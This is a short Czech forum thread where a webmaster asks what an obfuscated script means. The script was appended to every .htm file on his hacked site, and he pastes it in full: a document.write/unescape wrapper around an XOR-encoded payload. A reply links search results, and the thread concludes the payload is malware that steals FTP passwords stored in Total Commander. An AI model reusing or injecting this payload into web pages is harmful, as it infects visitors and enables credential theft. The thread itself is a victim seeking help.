Byl mi hacknut web

nedavno se muj web zacal chovat podivne a to ze pri prvnim najeti se chtel spustit nakej script a vetsinou se IE kousnul. Tak jsem mrknul na ftp a vidim ze vsechny .htm soubory v kor.adr. maji novy datum i vetsi velikost. Porovnam podle obsahu a vzdy na konec byl pridan script takhle vypadajici:

<!--[O]--><script>document.write(unescape("%3Cscript%3Etry%20%7Bvar%20pBL%3D%27MM2MB2Mj2MU2Ma2Mf2MI2MA2MK2Me2M92M72Mk2Mp2My2Ml2Mh2M32M62MO2Mb2Mx2MP2Mr2MW2MX2Mc2MY2MF2M82MN2Mi2Mg2MG2MS2M42Mq2Mz2MH2Md2MR2ML2Mt2Mw2MD2M52MJ2Ms2MT2MV2MC2Mo2MZ2Mm2BM2BB2Bj2BU2Ba2Bf2BI2BA2BK2Be2B92B72Bk2Bp2By2Bl2Bh2B32B62BO2Bb2Bx2BP2Br2BW%27%2CKLV%3DString%28%272%27%29%3Bvar%20GsT%3DArray%281151%5E1155%2CdGi%28%27179%27%29%2CdGi%28%27163%27%29%2C23409%5E23491%2C32756%5E32605%2C9961%5E9817%2C9611%5E9535%2C19647%5E19521%2C29619%5E29461%2CdGi%28%27181%27%29%2C22275%5E22445%2CdGi%28%27175%27%29%2C21253%5E21477%2C30481%5E30601%2CdGi%28%27142%27%29%2CdGi%28%27232%27%29%2CdGi%28%27182%27%29%2C7201%5E7335%2CdGi%28%27236%27%29%2C12843%5E12991%2C6684%5E6901%2C7172%5E7359%2C18394%5E18299%2C18834%5E18691%2C19924%5E19753%2CdGi%28%27165%27%29%2C22682%5E22573%2CdGi%28%27132%27%29%2CdGi%28%27251%27%29%2C10355%5E10397%2C17150%5E16979%2C29088%5E28935%2CdGi%28%27235%27%29%2C31515%5E31715%2C12805%5E13043%2C3829%5E3585%2C23343%5E23519%2C23321%5E23485%2CdGi%28%27171%27%29%2CdGi%28%27226%27%29%2CdGi%28%27184%27%29%2C7780%5E7907%2C9784%5E9909%2C31196%5E31055%2C23214%5E23059%2C25781%5E25639%2C1884%5E1979%2CdGi%28%27241%27%29%2C30874%5E30739%2C13354%5E13483%2C17130%5E16997%2C13713%5E13629%2CdGi%28%27239%27%29%2C2041%5E1873%2CdGi%28%27237%27%29%2CdGi%28%27162%27%29%2CdGi%28%27250%27%29%2CdGi%28%27225%27%29%2CdGi%28%27255%27%29%2CdGi%28%27170%27%29%2C14910%5E15013%2CdGi%28%27158%27%29%2CdGi%28%27186%27%29%2C23672%5E23681%2C31060%5E31177%2C3931%5E4039%2C17314%5E17193%2C8292%5E8417%2C25201%5E25331%2CdGi%28%27242%27%29%2C6114%5E5905%2CdGi%28%27185%27%29%2C6450%5E6577%2C16279%5E16221%2CdGi%28%27151%27%29%2CdGi%28%27153%27%29%2CdGi%28%27245%27%29%2C14526%5E14409%2CdGi%28%27234%27%29%29%2CiXE%3Bvar%20red%2CtsX%3Bvar%20FNp%3D%27MMMBMjMUMaMfMIMAMKMeM9MjMIMaM7M9MkMpMyMlMhM3M6MpMOMbMxMkMhMPMUMkMhMrMWM9MXMcMkMYMPMIMXMlMbMFMhMPMUMkMkMPM7MWMkM9MXMcMkMYMPMIMXMlMbMFMkMPM7M8MBMXMIMOMaMNMXMlMhMrM8MiMXMIMOMaMNMXMlMbMgMGMSM4MqMqMqMqMqMbMFMkMzM7MjMeMNMXM9MIM8MjM7M7MHMaMXMkMWMkMhM3MgMdMWMdMgMXMBMjMPMfMXMlMpMOMbMgMdMFMXMRMfMaMUMXMBMWMdMgMPM7M8MIM7MLMtMOMwMIMUMaM9MiMlMbMFMkMDMhMPMUMkM5MOMWMJMBMsMKMTMVMJM6MUMcMWMJMsMJMFMhMPMUMkMtMCMWMJMeMfMzMPMIMXMsM8MjMoMPMBMBMaMjMIMXMoM8M7MUMiMJM6MNMaMWMJMZMmMIMNMoMZMJMFMaMKMlMzM7MjMeMNMXM9MIM8MjM7M7MHMaMXM8MaM9MzMXMRMCMKMlM5MOMgMJMWMJMgMUMcMbMWMWBMMsMbMxMkMhMPMUMkM9BBMWMJMmMIMIMfBjMZMZMJMgMlMzM7MjMeMNMXM9MIM8MoM7MjMPMIMaM7M9M8MmM7MBMIMkBUMWMkMJMJBaMJMJBjMOBfMlMbMbMgMzM7MjMeMNMXM9MIM8MoM7MjMPMIMaM7M9M8MmM7MBMIM8MUMXMfMoMPMjMXMlMZBIBAMPBMBKMqBMBeM8BMB9MZM6MJM8MJMbM8MUMXMfMoMPMjMXMlMZB7M8MgMZM6MJM8MJMbMgMJM8MJMgMOBfMlMbMgMJM8MJMgMtMCMgMNMaMFMhMPMUMkBkM7MWMzM7MjMeMNMXM9MIM8MjMUMXMPMIMXBpMoMXMNMXM9MIMlMJMaMKMUMPMNMXMJMbMFBkM7M8MBMXMIMVMIMIMUMaBBMeMIMXMlMJMBMUMjMJM6M9BBMbMFBkM7M8MKMUMPMNMXByM7MUMzMXMUMWMqMFMkBkM7M8McMaMzMIMmMWBlMFBkM7M8MmMXMaMiMmMIMWBhMFMIMUB3MkMxMkMzM7MjMeMNMXM9MIM8BBM7MzB3M8MPMfMfMXM9MzB6MmMaMoMzMlBkM7MbMFMpMyMlM5MOM6MUMcMbMFMkMDMjMPMIMjMmMlMXMbMxMkMzM7MjMeMNMXM9MIM8McMUMaMIMXMlMJMMMmMIMNMoMAMMBBM7MzB3MAMMMZBBM7MzB3MAMMMZMmMIMNMoMAMJMbMFMzM7MjMeMNMXM9MIM8BBM7MzB3M8MPMfMfMXM9MzB6MmMaMoMzMlBkM7MbMFMkMpMyMlM5MOM6MUMcMbMFMkMDMkMDBOMKMeM9MjMIMaM7M9MkMOBfMlMbMxMkMhMPMUMkMOMLMWBlM4M6BbBxMWMdMqMsBlBhM4BPMSBrMGBeMqMPBBMjMzMXMKMdMFMhMPMUMkBfMcMWMdMdMFMkMKM7MUMlMBMTMWMqMFMkMBMTMkMMMkMOMLMFMkMBMTMgMgMbMkBfMcMgMWMkBbBxM8MBMeBBMBMIMUMlMtMPMIMmM8MKMoM7M7MUMlMtMPMIMmM8MUMPM9MzM7MNMlMbBWBbBxM8MoMXM9MiMIMmMbM6MsM6MsMbMFMkMUMXMIMeMUM9MkBfMcMFMkMDMMMZMBMjMUMaMfMIMA%27%2CRSa%3D%27%27%3BpBL%3DpBL.split%28KLV%29%3Bfor%28iXE%3D0%3BiXE%3CFNp.length%3BiXE+%3D2%29%7BtsX%3DFNp.substr%28iXE%2C2%29%3Bfor%28red%3D0%3Bred%3CpBL.length%3Bred++%29%7Bif%28pBL%5Bred%5D%3D%3DtsX%29break%3B%7D%20RSa+%3DString.fromCharCode%28GsT%5Bred%5D%5E192%29%3B%7Dfunction%20dGi%28ptz%29%7Breturn%20parseInt%28ptz%29%7Ddocument.write%28RSa%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))</script><!--[/O]-->

Nevim kam smeruje a co znamena. Vi to nekdo ? Ten kod neni vzdy stejny ale radne dlouhy.
Mel jsem primitivni heslo, ktery jsem samozrejme zmenil.
Blby je ze zrovna v tyto dny me shorely dva pocitace (resp.zdroj) ale to je asi blbost aby to s tim melo co spolecnyho.

<HTML>Nevím, co to je :-), ale gůgl říká např.
http://w3net.eu/?p=46
http://forum.zive.cz/viewtopic.php?p=1064790</HTML>

Tak to je jasny, je to takovej hajzlik co vycucava vsechna hesla k ftpkum v totalcmd. Tak to si dam nez to vsechno repairnu. :(((